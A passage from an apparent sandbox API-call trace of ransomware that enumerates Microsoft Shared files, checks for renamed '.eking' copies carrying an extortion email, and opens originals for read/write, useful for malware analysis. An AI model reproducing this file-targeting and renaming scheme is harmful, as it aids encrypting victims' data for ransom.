"c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0171.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.784] SetEvent (hEvent=0x174) returned 1 [0171.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.785] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15744) returned 1 [0171.785] CloseHandle (hObject=0x1e8) returned 1 [0171.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0171.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0171.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.786] SetEvent (hEvent=0x174) returned 1 [0171.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.786] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=174440) returned 1 [0171.786] CloseHandle (hObject=0x1e8) returned 1 [0171.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0171.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0171.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.788] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=255) returned 1 [0171.788] CloseHandle (hObject=0x1e8) returned 1 [0171.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0171.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0171.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.791] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1074) returned 1 [0171.791] CloseHandle (hObject=0x1e8) returned 1 [0171.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0171.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0171.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.794] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2575) returned 1 [0171.794] CloseHandle (hObject=0x1e4) returned 1 [0171.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0171.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0171.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.794] SetEvent (hEvent=0x174) returned 1 [0171.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.795] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4587) returned 1 [0171.795] CloseHandle (hObject=0x1e4) returned 1 [0171.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0171.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0171.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.796] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2319) returned 1 [0171.796] CloseHandle (hObject=0x1e4) returned 1 [0171.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0171.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0171.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.796] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=645) returned 1 [0171.797] CloseHandle (hObject=0x1e4) returned 1 [0171.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0171.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0171.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.799] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3792) returned 1 [0171.799] CloseHandle (hObject=0x1e4) returned 1 [0171.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0171.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0171.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.800] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=231) returned 1 [0171.800] CloseHandle (hObject=0x1e4) returned 1 [0171.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0171.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0171.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.801] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=23871) returned 1 [0171.801] CloseHandle (hObject=0x1e4) returned 1 [0171.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0171.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0171.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.803] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5524) returned 1 [0171.803] CloseHandle (hObject=0x1e4) returned 1 [0171.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0171.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0171.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.803] SetEvent (hEvent=0x174) returned 1 [0171.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.804] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10340) returned 1 [0171.804] CloseHandle (hObject=0x1e4) returned 1 [0171.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0171.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0171.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0171.805] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=116724) returned 1 [0171.805] CloseHandle (hObject=0x1e4) returned 1 [0171.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0171.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0171.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.806] SetEvent (hEvent=0x174) returned 1 [0171.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.749] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=237) returned 1 [0172.749] CloseHandle (hObject=0x1e8) returned 1 [0172.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0172.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0172.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.751] SetEvent (hEvent=0x174) returned 1 [0172.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.752] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2920) returned 1 [0172.752] CloseHandle (hObject=0x1e8) returned 1 [0172.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0172.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0172.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft 